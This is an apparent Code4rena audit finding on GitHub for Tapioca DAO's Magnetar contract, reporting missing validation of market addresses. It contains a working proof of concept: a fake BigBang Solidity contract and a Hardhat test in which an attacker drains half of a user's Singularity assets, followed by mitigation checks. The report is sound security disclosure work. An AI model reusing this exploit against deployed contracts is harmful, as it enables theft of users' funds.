code-423n4 / 2023-07-tapioca-findings

12 stars 9 forks source link

User's assets can be stolen when removing them from the Singularity market through the Magnetar contract #849

Open code423n4 opened 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Magnetar/modules/MagnetarMarketModule.sol#L568-L635

Vulnerability details

Impact

Proof of Concept

Coded PoC

  1. The first step is to add the attacker account in the test.utils.ts file
    
    > git diff --no-index test.utils.ts testPoC.utils.ts

diff --git a/test.utils.ts b/testPoC.utils.ts index 00fc388..83107e6 100755 --- a/test.utils.ts +++ b/testPoC.utils.ts @@ -1023,8 +1023,14 @@ export async function register(staging?: boolean) { ethers.provider, );

  1. Now, let's create the FakeBigBang contract, make sure to create it under the tapioca-periph-audit/contract/ folder
    
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;

// import "@boringcrypto/boring-solidity/contracts/libraries/BoringRebase.sol";

//YIELDBOX import "tapioca-sdk/dist/contracts/YieldBox/contracts/YieldBox.sol";

import "./interfaces/IYieldBoxBase.sol"; import "./interfaces/IMarket.sol";

contract FakeBigBang { // using RebaseLibrary for Rebase;

IMarket realSingularityMarket;

IYieldBoxBase public yieldBox;

/// @notice collateral token address address public collateral; /// @notice collateral token YieldBox id uint256 public collateralId; /// @notice asset token address address public asset; /// @notice asset token YieldBox id uint256 public assetId;

uint256 public tOLPSglAssetId;

address magnetarContract;

function setMarket(address _realSingularityMarket) external { realSingularityMarket = IMarket(_realSingularityMarket);

collateral = realSingularityMarket.collateral();
collateralId = realSingularityMarket.collateralId();
asset = realSingularityMarket.asset();
assetId = realSingularityMarket.assetId();
yieldBox = IYieldBoxBase(realSingularityMarket.yieldBox());

}

function setMagnetar(address _magnetar) external { magnetarContract = _magnetar; }

//@audit => This is the function that will be called by the Magnetar contract //@audit => This contract will be granted all permission over the Mangetar contract in the YieldBox, which will allow it to transfer all that Magnetar owns to any address //@audit-info => repay() will transfer the singularity.assetId() from the YieldBox! function repay( address from, address to, bool skim, uint256 part ) external returns (uint256 amount) {

uint magnetarAssetBalance = yieldBox.balanceOf(magnetarContract,assetId);
yieldBox.transfer(magnetarContract, address(this), assetId, magnetarAssetBalance);

amount = type(uint256).max; 

} }


3. Create a new file to reproduce this PoC, magnetar_remove_assets_from_singularity_PoC.test.ts
  - Make sure to create this new test file under the [`tapioca-periph-audit/test/`](https://github.com/Tapioca-DAO/tapioca-periph-audit/tree/023751a4e987cf7c203ab25d3abba58f7344f213/test) folder

import { expect } from 'chai'; import hre, { ethers, config } from 'hardhat'; import { BN, register, getSGLPermitSignature } from './test.utils'; import { loadFixture, takeSnapshot, } from '@nomicfoundation/hardhat-network-helpers';

describe('MagnetarV2', () => {

describe('repay', () => {
  it('should remove asset from Singularity and Attacker will steal those assets', async () => {
    const {
        weth,
        createWethUsd0Singularity,
        wethBigBangMarket,
        usd0,
        usdc,
        bar,
        wethAssetId,
        mediumRiskMC,
        deployCurveStableToUsdoBidder,
        initContracts,
        yieldBox,
        magnetar,
        deployer,
        attacker,
    } = await loadFixture(register);

    await initContracts();

    const usdoStratregy = await bar.emptyStrategies(usd0.address);
    const usdoAssetId = await yieldBox.ids(
        1,
        usd0.address,
        usdoStratregy,
        0,
    );
    const { stableToUsdoBidder } = await deployCurveStableToUsdoBidder(
        deployer,
        bar,
        usdc,
        usd0,
        false,
    );
    const { wethUsdoSingularity } = await createWethUsd0Singularity(
        deployer,
        usd0,
        weth,
        bar,
        usdoAssetId,
        wethAssetId,
        mediumRiskMC,
        yieldBox,
        stableToUsdoBidder,
        ethers.utils.parseEther('1'),
        false,
    );

    //@audit => Attacker deploys the FakeBigBang contract!
    const fakeBigBang = await ethers.deployContract("FakeBigBang");

    await fakeBigBang.setMarket(wethUsdoSingularity.address);  
    await fakeBigBang.setMagnetar(magnetar.address);

    const borrowAmount = ethers.BigNumber.from((1e18).toString()).mul(
        100,
    );
    const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
        10,
    );

    await usd0.mint(deployer.address, borrowAmount.mul(2));
    // We get asset
    await weth.freeMint(wethMintVal);

    // Approve tokens
    // await approveTokensAndSetBarApproval();
    await yieldBox.setApprovalForAll(wethUsdoSingularity.address, true);
    await wethBigBangMarket.updateOperator(magnetar.address, true);
    await weth.approve(magnetar.address, wethMintVal);
    await wethUsdoSingularity.approve(
        magnetar.address,
        ethers.constants.MaxUint256,
    );
    await wethBigBangMarket.approveBorrow(
        magnetar.address,
        ethers.constants.MaxUint256,
    );

    await magnetar.mintFromBBAndLendOnSGL(
        deployer.address,
        borrowAmount,
        {
            mint: true,
            mintAmount: borrowAmount,
            collateralDepositData: {
                deposit: true,
                amount: wethMintVal,
                extractFromSender: true,
            },
        },
        {
            deposit: false,
            amount: 0,
            extractFromSender: false,
        },
        {
            lock: false,
            amount: 0,
            lockDuration: 0,
            target: ethers.constants.AddressZero,
            fraction: 0,
        },
        {
            participate: false,
            target: ethers.constants.AddressZero,
            tOLPTokenId: 0,
        },
        {
            singularity: wethUsdoSingularity.address,
            magnetar: magnetar.address,
            bigBang: wethBigBangMarket.address,
        },
    );

    await usd0.approve(yieldBox.address, ethers.constants.MaxUint256);
    await yieldBox.depositAsset(
        usdoAssetId,
        deployer.address,
        deployer.address,
        borrowAmount,
        0,
    );
    const wethCollateralBefore =
        await wethBigBangMarket.userCollateralShare(deployer.address);
    const fraction = await wethUsdoSingularity.balanceOf(
        deployer.address,
    );

    const assetId = await wethUsdoSingularity.assetId();

    console.log("asset in YieldBox owned by Magnetar - BEFORE: ", await yieldBox.balanceOf(magnetar.address,assetId));
    console.log("asset in YieldBox owned by User - BEFORE: ", await yieldBox.balanceOf(deployer.address,assetId));
    console.log("asset in YieldBox owned by FakeBigBang - BEFORE: ", await yieldBox.balanceOf(fakeBigBang.address,assetId));

    //@audit => magnetar contract already has been approved by the deployer contract to perform the removed asset operation in the Singularity Market
    //@audit => The `attacker` executed the attack over the `deployer` address
    //@audit => attacker will remove assets from the deployer in the Singularity market, and will transfer those assets to an account of his own by using a FakeBigBang contract!
    await magnetar.connect(attacker).exitPositionAndRemoveCollateral(
        deployer.address,
        {
            magnetar: magnetar.address,
            singularity: wethUsdoSingularity.address,
            // bigBang: wethBigBangMarket.address,
            bigBang: fakeBigBang.address,
        },
        {
            removeAssetFromSGL: true,
            removeShare: fraction.div(2),
            repayAssetOnBB: true,
            repayAmount: await yieldBox.toAmount(
                usdoAssetId,
                fraction.div(3),
                false,
            ),
            removeCollateralFromBB: false,
            collateralShare: 0,
            exitData: {
                exit: false,
                oTAPTokenID: 0,
                target: ethers.constants.AddressZero,
            },
            unlockData: {
                unlock: false,
                target: ethers.constants.AddressZero,
                tokenId: 0,
            },
            assetWithdrawData: {
                withdraw: false,
                withdrawAdapterParams: ethers.utils.toUtf8Bytes(''),
                withdrawLzChainId: 0,
                withdrawLzFeeAmount: 0,
                withdrawOnOtherChain: false,
            },
            collateralWithdrawData: {
                withdraw: false,
                withdrawAdapterParams: ethers.utils.toUtf8Bytes(''),
                withdrawLzChainId: 0,
                withdrawLzFeeAmount: 0,
                withdrawOnOtherChain: false,
            },
        },
    );
    console.log("\n\n=======================================================================\n\n");
    console.log("asset in YieldBox owned by Magnetar - AFTER: ", await yieldBox.balanceOf(magnetar.address,assetId));
    console.log("asset in YieldBox owned by User - AFTER: ", await yieldBox.balanceOf(deployer.address,assetId));
    console.log("asset in YieldBox owned by FakeBigBang - AFTER: ", await yieldBox.balanceOf(fakeBigBang.address,assetId));

  });
});

});


4. After all the 3 previous steps have been completed, everything is ready to run the PoC.
> npx hardhat test magnetar_remove_assets_from_singularity_PoC.test.ts

MagnetarV2 repay asset in YieldBox owned by Magnetar - BEFORE: BigNumber { value: "0" } asset in YieldBox owned by User - BEFORE: BigNumber { value: "10000000000000000000000000000" } asset in YieldBox owned by FakeBigBang - BEFORE: BigNumber { value: "0" }

=======================================================================

asset in YieldBox owned by Magnetar - AFTER: BigNumber { value: "0" } asset in YieldBox owned by User - AFTER: BigNumber { value: "10000000000000000000000000000" } asset in YieldBox owned by FakeBigBang - AFTER: BigNumber { value: "5000000000000000000000000000" } ✔ should remove asset from Singularity and Attacker will steal those assets (14114ms)


## Tools Used
Manual Audit

## Recommended Mitigation Steps
- Use the Penrose contract to validate that the provided markets as parameters are real markets supported by the protocol (Both, BB & Singularity markets)
- Add the below checks on the [`_exitPositionAndRemoveCollateral()`](https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Magnetar/modules/MagnetarMarketModule.sol#L495-L675) function
```solidity
function _exitPositionAndRemoveCollateral(
    address user,
    ICommonData.ICommonExternalContracts calldata externalData,
    IUSDOBase.IRemoveAndRepay calldata removeAndRepayData
) private {
+   require(penrose.isMarketRegistered(externalData.bigBang), "BigBang market is not a valid market supported by the protocol");
+   require(penrose.isMarketRegistered(externalData.singularity), "Singularity market is not a valid market supported by the protocol");

    IMarket bigBang = IMarket(externalData.bigBang);
    ISingularity singularity = ISingularity(externalData.singularity);
    IYieldBoxBase yieldBox = IYieldBoxBase(singularity.yieldBox());

    ...
    ...
    ...
}

Assessed type

Invalid Validation

c4-pre-sort commented 1 year ago

minhquanym marked the issue as primary issue

c4-sponsor commented 1 year ago

0xRektora (sponsor) confirmed

c4-judge commented 11 months ago

dmvt marked the issue as selected for report